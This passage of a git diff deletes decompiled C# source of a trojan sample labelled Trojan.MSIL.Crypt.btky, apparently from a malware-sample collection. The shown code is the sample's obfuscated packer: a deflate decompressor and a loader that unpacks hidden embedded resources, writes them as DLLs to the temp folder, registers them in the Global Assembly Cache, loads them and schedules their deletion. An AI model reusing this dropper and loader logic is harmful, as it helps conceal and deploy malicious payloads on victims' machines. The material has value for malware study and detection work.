this.\u0001[this.\u0002++] & (uint) byte.MaxValue; - this.\u0005 = 8; - } - return num1 + obj2; - } - - public void \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - if (this.\u0002 < this.\u0003) - throw new InvalidOperationException(); - int num = obj1 + obj2; - if (0 > obj1 || obj1 > num || num > obj0.Length) - throw new ArgumentOutOfRangeException(); - if ((obj2 & 1) != 0) - { - this.\u0004 |= (uint) (((int) obj0[obj1++] & (int) byte.MaxValue) << this.\u0005); - this.\u0005 += 8; - } - this.\u0001 = obj0; - this.\u0002 = obj1; - this.\u0003 = num; - } - } - - internal sealed class \u0003 - { - private static int \u0001 = 32768; - private static int \u0002 = \u0003.\u0003.\u0001 - 1; - private byte[] \u0003 = new byte[\u0003.\u0003.\u0001]; - private int \u0004; - private int \u0005; - - public void \u0003([In] int obj0) - { - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0005; - obj.\u0005 = num1 + 1; - if (num2 == \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - this.\u0003[this.\u0004++] = (byte) obj0; - this.\u0004 &= \u0003.\u0003.\u0002; - } - - private void \u0003([In] int obj0, [In] int obj1, [In] int obj2) - { - while (obj1-- > 0) - { - byte[] numArray = this.\u0003; - \u0003.\u0003 obj = this; - int num1; - int num2 = num1 = obj.\u0004; - obj.\u0004 = num1 + 1; - int index = num2; - int num3 = (int) this.\u0003[obj0++]; - numArray[index] = (byte) num3; - this.\u0004 &= \u0003.\u0003.\u0002; - obj0 &= \u0003.\u0003.\u0002; - } - } - - public void \u0003([In] int obj0, [In] int obj1) - { - if ((this.\u0005 += obj0) > \u0003.\u0003.\u0001) - throw new InvalidOperationException(); - int sourceIndex = this.\u0004 - obj1 & \u0003.\u0003.\u0002; - int num = \u0003.\u0003.\u0001 - obj0; - if (sourceIndex <= num && this.\u0004 < num) - { - if (obj0 <= obj1) - { - Array.Copy((Array) this.\u0003, sourceIndex, (Array) this.\u0003, this.\u0004, obj0); - this.\u0004 += obj0; - } - else - { - while (obj0-- > 0) - this.\u0003[this.\u0004++] = this.\u0003[sourceIndex++]; - } - } - else - this.\u0003(sourceIndex, obj0, obj1); - } - - public int \u0003([In] \u0003.\u0002 obj0, [In] int obj1) - { - obj1 = Math.Min(Math.Min(obj1, \u0003.\u0003.\u0001 - this.\u0005), obj0.\u0004()); - int num1 = \u0003.\u0003.\u0001 - this.\u0004; - int num2; - if (obj1 > num1) - { - num2 = obj0.\u0003(this.\u0003, this.\u0004, num1); - if (num2 == num1) - num2 += obj0.\u0003(this.\u0003, 0, obj1 - num1); - } - else - num2 = obj0.\u0003(this.\u0003, this.\u0004, obj1); - this.\u0004 = this.\u0004 + num2 & \u0003.\u0003.\u0002; - this.\u0005 += num2; - return num2; - } - - public int \u0003() => \u0003.\u0003.\u0001 - this.\u0005; - - public int \u0004() => this.\u0005; - - public int \u0003([In] byte[] obj0, [In] int obj1, [In] int obj2) - { - int num1 = this.\u0004; - if (obj2 > this.\u0005) - obj2 = this.\u0005; - else - num1 = this.\u0004 - this.\u0005 + obj2 & \u0003.\u0003.\u0002; - int num2 = obj2; - int length = obj2 - num1; - if (length > 0) - { - Array.Copy((Array) this.\u0003, \u0003.\u0003.\u0001 - length, (Array) obj0, obj1, length); - obj1 += length; - obj2 = num1; - } - Array.Copy((Array) this.\u0003, num1 - obj2, (Array) obj0, obj1, obj2); - this.\u0005 -= num2; - if (this.\u0005 < 0) - throw new InvalidOperationException(); - return num2; - } - } - - internal sealed class \u0004 - { - private static int \u0001 = 15; - private short[] \u0002; - public static \u0003.\u0004 \u0003; - public static \u0003.\u0004 \u0004; - - static \u0004() - { - byte[] numArray1 = new byte[288]; - int num1 = 0; - while (num1 < 144) - numArray1[num1++] = (byte) 8; - while (num1 < 256) - numArray1[num1++] = (byte) 9; - while (num1 < 280) - numArray1[num1++] = (byte) 7; - while (num1 < 288) - numArray1[num1++] = (byte) 8; - \u0003.\u0004.\u0003 = new \u0003.\u0004(numArray1); - byte[] numArray2 = new byte[32]; - int num2 = 0; - while (num2 < 32) - numArray2[num2++] = (byte) 5; - \u0003.\u0004.\u0004 = new \u0003.\u0004(numArray2); - } - - public \u0004([In] byte[] obj0) => this.\u0003(obj0); - - private void \u0003([In] byte[] obj0) - { - int[] numArray1 = new int[\u0003.\u0004.\u0001 + 1]; - int[] numArray2 = new int[\u0003.\u0004.\u0001 + 1]; - for (int index1 = 0; index1 < obj0.Length; ++index1) - { - int index2 = (int) obj0[index1]; - if (index2 > 0) - ++numArray1[index2]; - } - int num1 = 0; - int length = 512; - for (int index = 1; index <= \u0003.\u0004.\u0001; ++index) - { - numArray2[index] = num1; - num1 += numArray1[index] << 16 - index; - if (index >= 10) - { - int num2 = numArray2[index] & 130944; - int num3 = num1 & 130944; - length += num3 - num2 >> 16 - index; - } - } - this.\u0002 = new short[length]; - int num4 = 512; - for (int index3 = \u0003.\u0004.\u0001; index3 >= 10; --index3) - { - int num5 = num1 & 130944; - num1 -= numArray1[index3] << 16 - index3; - for (int index4 = num1 & 130944; index4 < num5; index4 += 128) - { - this.\u0002[(int) \u0003.\u0006.\u0003(index4)] = (short) (-num4 << 4 | index3); - num4 += 1 << index3 - 9; - } - } - for (int index5 = 0; index5 < obj0.Length; ++index5) - { - int index6 = (int) obj0[index5]; - if (index6 != 0) - { - int num6 = numArray2[index6]; - int index7 = (int) \u0003.\u0006.\u0003(num6); - if (index6 <= 9) - { - do - { - this.\u0002[index7] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < 512); - } - else - { - int num7 = (int) this.\u0002[index7 & 511]; - int num8 = 1 << (num7 & 15); - int num9 = -(num7 >> 4); - do - { - this.\u0002[num9 | index7 >> 9] = (short) (index5 << 4 | index6); - index7 += 1 << index6; - } - while (index7 < num8); - } - numArray2[index6] = num6 + (1 << 16 - index6); - } - } - } - - public int \u0003([In] \u0003.\u0002 obj0) - { - int index; - if ((index = obj0.\u0003(9)) >= 0) - { - int num1; - if ((num1 = (int) this.\u0002[index]) >= 0) - { - obj0.\u0003(num1 & 15); - return num1 >> 4; - } - int num2 = -(num1 >> 4); - int num3 = num1 & 15; - int num4; - if ((num4 = obj0.\u0003(num3)) >= 0) - { - int num5 = (int) this.\u0002[num2 | num4 >> 9]; - obj0.\u0003(num5 & 15); - return num5 >> 4; - } - int num6 = obj0.\u0003(); - int num7 = obj0.\u0003(num6); - int num8 = (int) this.\u0002[num2 | num7 >> 9]; - if ((num8 & 15) > num6) - return -1; - obj0.\u0003(num8 & 15); - return num8 >> 4; - } - int num9 = obj0.\u0003(); - int num10 = (int) this.\u0002[obj0.\u0003(num9)]; - if (num10 < 0 || (num10 & 15) > num9) - return -1; - obj0.\u0003(num10 & 15); - return num10 >> 4; - } - } - - internal sealed class \u0005 - { - private static readonly int[] \u0001 = new int[3] - { - 3, - 3, - 11 - }; - private static readonly int[] \u0002 = new int[3] - { - 2, - 3, - 7 - }; - private byte[] \u0003; - private byte[] \u0004; - private \u0003.\u0004 \u0005; - private int \u0006; - private int \u0007; - private int \u0008; - private int \u000E; - private int \u000F; - private int \u0010; - private byte \u0011; - private int \u0012; - private static readonly int[] \u0013 = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - - public bool \u0003([In] \u0003.\u0002 obj0) - { - while (true) - { - switch (this.\u0006) - { - case 0: - this.\u0007 = obj0.\u0003(5); - if (this.\u0007 >= 0) - { - this.\u0007 += 257; - obj0.\u0003(5); - this.\u0006 = 1; - goto case 1; - } - else - goto label_2; - case 1: - this.\u0008 = obj0.\u0003(5); - if (this.\u0008 >= 0) - { - ++this.\u0008; - obj0.\u0003(5); - this.\u000F = this.\u0007 + this.\u0008; - this.\u0004 = new byte[this.\u000F]; - this.\u0006 = 2; - goto case 2; - } - else - goto label_5; - case 2: - this.\u000E = obj0.\u0003(4); - if (this.\u000E >= 0) - { - this.\u000E += 4; - obj0.\u0003(4); - this.\u0003 = new byte[19]; - this.\u0012 = 0; - this.\u0006 = 3; - goto case 3; - } - else - goto label_8; - case 3: - for (; this.\u0012 < this.\u000E; ++this.\u0012) - { - int num = obj0.\u0003(3); - if (num < 0) - return false; - obj0.\u0003(3); - this.\u0003[\u0003.\u0005.\u0013[this.\u0012]] = (byte) num; - } - this.\u0005 = new \u0003.\u0004(this.\u0003); - this.\u0003 = (byte[]) null; - this.\u0012 = 0; - this.\u0006 = 4; - goto case 4; - case 4: - int num1; - while (((num1 = this.\u0005.\u0003(obj0)) & -16) == 0) - { - this.\u0004[this.\u0012++] = this.\u0011 = (byte) num1; - if (this.\u0012 == this.\u000F) - return true; - } - if (num1 >= 0) - { - if (num1 >= 17) - this.\u0011 = (byte) 0; - this.\u0010 = num1 - 16; - this.\u0006 = 5; - goto case 5; - } - else - goto label_19; - case 5: - int num2 = \u0003.\u0005.\u0002[this.\u0010]; - int num3 = obj0.\u0003(num2); - if (num3 >= 0) - { - obj0.\u0003(num2); - int num4 = num3 + \u0003.\u0005.\u0001[this.\u0010]; - while (num4-- > 0) - this.\u0004[this.\u0012++] = this.\u0011; - if (this.\u0012 != this.\u000F) - { - this.\u0006 = 4; - continue; - } - goto label_29; - } - else - goto label_24; - default: - continue; - } - } -label_2: - return false; -label_5: - return false; -label_8: - return false; -label_19: - return false; -label_24: - return false; -label_29: - return true; - } - - public \u0003.\u0004 \u0003() - { - byte[] destinationArray = new byte[this.\u0007]; - Array.Copy((Array) this.\u0004, 0, (Array) destinationArray, 0, this.\u0007); - return new \u0003.\u0004(destinationArray); - } - - public \u0003.\u0004 \u0004() - { - byte[] destinationArray = new byte[this.\u0008]; - Array.Copy((Array) this.\u0004, this.\u0007, (Array) destinationArray, 0, this.\u0008); - return new \u0003.\u0004(destinationArray); - } - } - - internal sealed class \u0006 - { - private static int \u0001 = 16384; - private static int \u0002 = 286; - private static int \u0003 = 30; - private static int \u0004 = 19; - private static int \u0005 = 16; - private static int \u0006 = 17; - private static int \u0007 = 18; - private static int \u0008 = 256; - private static int[] \u000E = new int[19] - { - 16, - 17, - 18, - 0, - 8, - 7, - 9, - 6, - 10, - 5, - 11, - 4, - 12, - 3, - 13, - 2, - 14, - 1, - 15 - }; - private static byte[] \u000F = new byte[16] - { - (byte) 0, - (byte) 8, - (byte) 4, - (byte) 12, - (byte) 2, - (byte) 10, - (byte) 6, - (byte) 14, - (byte) 1, - (byte) 9, - (byte) 5, - (byte) 13, - (byte) 3, - (byte) 11, - (byte) 7, - (byte) 15 - }; - private static short[] \u0010 = new short[\u0003.\u0006.\u0002]; - private static byte[] \u0011 = new byte[\u0003.\u0006.\u0002]; - private static short[] \u0012; - private static byte[] \u0013; - - public static short \u0003([In] int obj0) => (short) ((int) \u0003.\u0006.\u000F[obj0 & 15] << 12 | (int) \u0003.\u0006.\u000F[obj0 >> 4 & 15] << 8 | (int) \u0003.\u0006.\u000F[obj0 >> 8 & 15] << 4 | (int) \u0003.\u0006.\u000F[obj0 >> 12]); - - static \u0006() - { - int index1; - for (index1 = 0; index1 < 144; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(48 + index1 << 8); - for (; index1 < 256; \u0003.\u0006.\u0011[index1++] = (byte) 9) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(256 + index1 << 7); - for (; index1 < 280; \u0003.\u0006.\u0011[index1++] = (byte) 7) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 256 << 9); - for (; index1 < \u0003.\u0006.\u0002; \u0003.\u0006.\u0011[index1++] = (byte) 8) - \u0003.\u0006.\u0010[index1] = \u0003.\u0006.\u0003(index1 - 88 << 8); - \u0003.\u0006.\u0012 = new short[\u0003.\u0006.\u0003]; - \u0003.\u0006.\u0013 = new byte[\u0003.\u0006.\u0003]; - for (int index2 = 0; index2 < \u0003.\u0006.\u0003; ++index2) - { - \u0003.\u0006.\u0012[index2] = \u0003.\u0006.\u0003(index2 << 11); - \u0003.\u0006.\u0013[index2] = (byte) 5; - } - } - } - - internal sealed class \u0007 : MemoryStream - { - public int \u0003() => this.ReadByte() | this.ReadByte() << 8; - - public int \u0004() => this.\u0003() | this.\u0003() << 16; - - public \u0007([In] byte[] obj0) - : base(obj0, false) - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0004.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0004.cs deleted file mode 100644 index 7dca951c..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0001/_0004.cs +++ /dev/null @@ -1,51 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0001; -using System.Runtime.InteropServices; - -namespace \u0001 -{ - internal sealed class \u0004 - { - internal static long \u0001; - internal static long \u0002; - internal static \u0004.\u0001 \u0003; - internal static \u0004.\u0001 \u0004; - internal static \u0004.\u0002 \u0005; - internal static \u0004.\u0002 \u0006; - internal static \u0004.\u0003 \u0007; - internal static \u0004.\u0003 \u0008; - internal static \u0004.\u0004 \u000E; - internal static \u0004.\u0004 \u000F; - internal static \u0004.\u0005 \u0010; - - [StructLayout(LayoutKind.Explicit, Size = 116, Pack = 1)] - private struct \u0001 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 120, Pack = 1)] - private struct \u0002 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 12, Pack = 1)] - private struct \u0003 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 76, Pack = 1)] - private struct \u0004 - { - } - - [StructLayout(LayoutKind.Explicit, Size = 16, Pack = 1)] - private struct \u0005 - { - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0001.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0001.cs deleted file mode 100644 index 070d9c22..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0001.cs +++ /dev/null @@ -1,301 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using \u0001; -using System; -using System.Collections; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Text; - -namespace \u0002 -{ - internal sealed class \u0001 - { - private static Hashtable \u0001 = new Hashtable(); - - [DllImport("kernel32", EntryPoint = "MoveFileEx")] - private static extern bool \u0003([In] string obj0, [In] string obj1, [In] int obj2); - - [SpecialName] - internal static bool \u0003() - { - try - { - string lower = Process.GetCurrentProcess().MainModule.ModuleName.ToLower(); - if (lower == "w3wp.exe") - return true; - if (lower == "aspnet_wp.exe") - return true; - } - catch (Exception ex) - { - } - return false; - } - - internal static void \u0003() - { - try - { - AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler(\u0002.\u0001.\u0003); - if (!Assembly.GetExecutingAssembly().GlobalAssemblyCache || !\u0002.\u0001.\u0003()) - return; - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - try - { - string str1 = Encoding.UTF8.GetString(Convert.FromBase64String(strArray[index])); - string str2 = strArray[index + 1]; - if (str2.Length > 0) - { - if (str2[0] == '[') - { - int num = str2.IndexOf(']'); - string str3 = str2.Substring(1, num - 1); - string name = str2.Substring(num + 1); - bool flag = str3.IndexOf('z') >= 0; - if (str3.IndexOf('f') >= 0) - { - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(name); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] buffer = new byte[length]; - manifestResourceStream.Read(buffer, 0, length); - if (flag) - buffer = \u0003.\u0003(buffer); - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) name); - Directory.CreateDirectory(path1); - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(str1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(buffer, 0, buffer.Length); - fileStream.Close(); - } - \u0002.\u0002.\u0003(path2); - try - { - File.Delete(path2); - Directory.Delete(path1); - } - catch - { - } - } - catch (Exception ex) - { - } - } - } - } - } - } - catch (Exception ex) - { - } - } - } - catch (Exception ex) - { - } - } - - internal static Assembly \u0003([In] object obj0, [In] ResolveEventArgs obj1) - { - \u0002.\u0001.\u0001 obj = new \u0002.\u0001.\u0001(obj1.Name); - string base64String1 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0003(false))); - string[] strArray = "ezM4NzJhNzNkLTQ4ZTEtNDUwNC1iMzkzLWE3NjQyODczMWFmZX0sIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49M2U1NjM1MDY5M2Y3MzU1ZQ==,[z]{3872a73d-48e1-4504-b393-a76428731afe}".Split(','); - string str1 = string.Empty; - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String1) - { - str1 = strArray[index + 1]; - break; - } - } - if (str1.Length == 0 && obj.\u0004.Length == 0) - { - string base64String2 = Convert.ToBase64String(Encoding.UTF8.GetBytes(obj.\u0001)); - for (int index = 0; index < strArray.Length - 1; index += 2) - { - if (strArray[index] == base64String2) - { - str1 = strArray[index + 1]; - break; - } - } - } - if (str1.Length > 0) - { - if (str1[0] == '[') - { - int num = str1.IndexOf(']'); - string str2 = str1.Substring(1, num - 1); - flag1 = str2.IndexOf('z') >= 0; - flag2 = str2.IndexOf('g') >= 0; - flag3 = str2.IndexOf('t') >= 0; - str1 = str1.Substring(num + 1); - } - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - return (Assembly) \u0002.\u0001.\u0001[(object) str1]; - } - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(str1); - if (manifestResourceStream != null) - { - int length = (int) manifestResourceStream.Length; - byte[] numArray = new byte[length]; - manifestResourceStream.Read(numArray, 0, length); - if (flag1) - numArray = \u0003.\u0003(numArray); - if (flag2) - { - try - { - string path1 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path1); - string path2 = path1 + obj.\u0001 + ".dll"; - if (!File.Exists(path2)) - { - Assembly assembly = (Assembly) null; - FileStream fileStream = File.OpenWrite(path2); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - if (\u0002.\u0002.\u0003(path2)) - assembly = Assembly.Load(obj.\u0003(true)); - File.Delete(path2); - Directory.Delete(path1); - if ((object) assembly != null) - { - lock (\u0002.\u0001.\u0001) - { - if (\u0002.\u0001.\u0001.ContainsKey((object) str1)) - assembly = (Assembly) \u0002.\u0001.\u0001[(object) str1]; - else - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly); - } - return assembly; - } - } - } - catch - { - } - } - Assembly assembly1 = (Assembly) null; - if (!flag3) - { - try - { - assembly1 = Assembly.Load(numArray); - } - catch (FileLoadException ex) - { - flag3 = true; - } - catch (BadImageFormatException ex) - { - flag3 = true; - } - } - if (flag3) - { - try - { - string path3 = string.Format("{0}{1}\\", (object) Path.GetTempPath(), (object) str1); - Directory.CreateDirectory(path3); - string path4 = path3 + obj.\u0001 + ".dll"; - if (!File.Exists(path4)) - { - FileStream fileStream = File.OpenWrite(path4); - fileStream.Write(numArray, 0, numArray.Length); - fileStream.Close(); - \u0002.\u0001.\u0003(path4, (string) null, 4); - \u0002.\u0001.\u0003(path3, (string) null, 4); - } - assembly1 = Assembly.LoadFile(path4); - } - catch - { - } - } - lock (\u0002.\u0001.\u0001) - \u0002.\u0001.\u0001.Add((object) str1, (object) assembly1); - return assembly1; - } - } - return (Assembly) null; - } - - internal struct \u0001 - { - public string \u0001; - public Version \u0002; - public string \u0003; - public string \u0004; - - public string \u0003([In] bool obj0) - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append(this.\u0001); - if (obj0) - { - stringBuilder.Append(", Version="); - stringBuilder.Append((object) this.\u0002); - } - stringBuilder.Append(", Culture="); - stringBuilder.Append(this.\u0003.Length == 0 ? "neutral" : this.\u0003); - stringBuilder.Append(", PublicKeyToken="); - stringBuilder.Append(this.\u0004.Length == 0 ? "null" : this.\u0004); - return stringBuilder.ToString(); - } - - public \u0001([In] string obj0) - { - this.\u0002 = new Version(); - this.\u0003 = string.Empty; - this.\u0004 = string.Empty; - this.\u0001 = string.Empty; - string str1 = obj0; - char[] chArray = new char[1]{ ',' }; - foreach (string str2 in str1.Split(chArray)) - { - string str3 = str2.Trim(); - if (str3.StartsWith("Version=")) - this.\u0002 = new Version(str3.Substring(8)); - else if (str3.StartsWith("Culture=")) - { - this.\u0003 = str3.Substring(8); - if (this.\u0003 == "neutral") - this.\u0003 = string.Empty; - } - else if (str3.StartsWith("PublicKeyToken=")) - { - this.\u0004 = str3.Substring(15); - if (this.\u0004 == "null") - this.\u0004 = string.Empty; - } - else - this.\u0001 = str3; - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0002.cs deleted file mode 100644 index f564ad72..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0002.cs +++ /dev/null @@ -1,174 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535.exe - -using System; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace \u0002 -{ - internal sealed class \u0002 - { - [DllImport("fusion", EntryPoint = "CreateAssemblyCache", CharSet = CharSet.Auto)] - internal static extern int \u0003(out \u0002.\u0002.\u0007 ppAsmCache, uint dwReserved); - - public static bool \u0003([In] string obj0) - { - \u0002.\u0002.\u0007 ppAsmCache = (\u0002.\u0002.\u0007) null; - return \u0002.\u0002.\u0003(out ppAsmCache, 0U) == 0 && ppAsmCache.\u0002(0U, obj0, IntPtr.Zero) == 0; - } - - public struct \u0001 - { - public int \u0001; - public int \u0002; - } - - public struct \u0002 - { - public \u0002.\u0002.\u0001 \u0001; - public long \u0002; - public Guid \u0003; - public \u0002.\u0002.\u0001 \u0004; - public int \u0005; - public int \u0006; - public int \u0007; - public \u0002.\u0002.\u0001 \u0008; - public string \u000E; - public int \u000F; - public int \u0010; - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("0000000c-0000-0000-C000-000000000046")] - [ComImport] - public interface \u0003 - { - void \u0001(IntPtr pv, uint cb, out uint pcbRead); - - void \u0002(IntPtr pv, uint cb, out uint pcbWritten); - - void \u0001(long dlibMove, uint dwOrigin, out ulong plibNewPosition); - - void \u0001(ulong libNewSize); - - void \u0001(\u0002.\u0002.\u0003 pstm, ulong cb, out ulong pcbRead, out ulong pcbWritten); - - void \u0001(uint grfCommitFlags); - - void \u0001(); - - void \u0001(ulong libOffset, ulong cb, uint dwLockType); - - void \u0002(ulong libOffset, ulong cb, uint dwLockType); - - void \u0001(out \u0002.\u0002.\u0002 pstatstg, uint grfStatFlag); - - void \u0001(out \u0002.\u0002.\u0003 ppstm); - } - - [Guid("7c23ff90-33af-11d3-95da-00a024a85b51")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0004 - { - void \u0001(\u0002.\u0002.\u0005 pName); - - void \u0001(out \u0002.\u0002.\u0005 ppName); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, int pvValue, uint cbValue, uint dwFlags); - - void \u0001([MarshalAs(UnmanagedType.LPWStr)] string szName, out int pvValue, ref uint pcbValue, uint dwFlags); - - void \u0001(out int wzDynamicDir, ref uint pdwSize); - } - - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [Guid("CD193BC0-B4BC-11d2-9833-00C04FC31D2E")] - [ComImport] - internal interface \u0005 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, uint cbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint PropertyId, IntPtr pvProperty, ref uint pcbProperty); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(IntPtr szDisplayName, ref uint pccDisplayName, uint dwDisplayFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - object refIID, - object pAsmBindSink, - \u0002.\u0002.\u0004 pApplicationContext, - [MarshalAs(UnmanagedType.LPWStr)] string szCodeBase, - long llFlags, - int pvReserved, - uint cbReserved, - out int ppv); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint lpcwBuffer, out int pwzName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out uint pdwVersionHi, out uint pdwVersionLow); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(\u0002.\u0002.\u0005 pName, uint dwCmpFlags); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out \u0002.\u0002.\u0005 pName); - } - - [Guid("9e3aaeb4-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0006 - { - void \u0001( - [MarshalAs(UnmanagedType.LPWStr)] string pszName, - uint dwFormat, - uint dwFlags, - uint dwMaxSize, - out \u0002.\u0002.\u0003 ppStream); - - void \u0002(\u0002.\u0002.\u0005 pName); - - void \u0001(uint dwFlags); - - void \u0002(uint dwFlags); - } - - [Guid("e707dcde-d1cd-11d2-bab9-00c04f8eceae")] - [InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] - [ComImport] - internal interface \u0007 - { - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pvReserved, out uint pulDisposition); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName, IntPtr pAsmInfo); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001( - uint dwFlags, - IntPtr pvReserved, - out \u0002.\u0002.\u0006 ppAsmItem, - [MarshalAs(UnmanagedType.LPWStr)] string pszAssemblyName); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0001(out object ppAsmScavenger); - - [MethodImpl(MethodImplOptions.PreserveSig)] - int \u0002(uint dwFlags, [MarshalAs(UnmanagedType.LPWStr)] string pszManifestFilePath, IntPtr pvReserved); - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0003.cs deleted file mode 100644 index 56fef168..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.btky-0d329e2c61fce501411f1ab494bf9e8e76a51a4cf0544e262a69b6aebe31e535/_0002/_0003.cs +++ /dev/null @@ -1,25 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: . -// Assembly: SoraAdd, Version=3.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 433510B1-46B2-4050-A4F1-F428588C527D -// Assembly location: 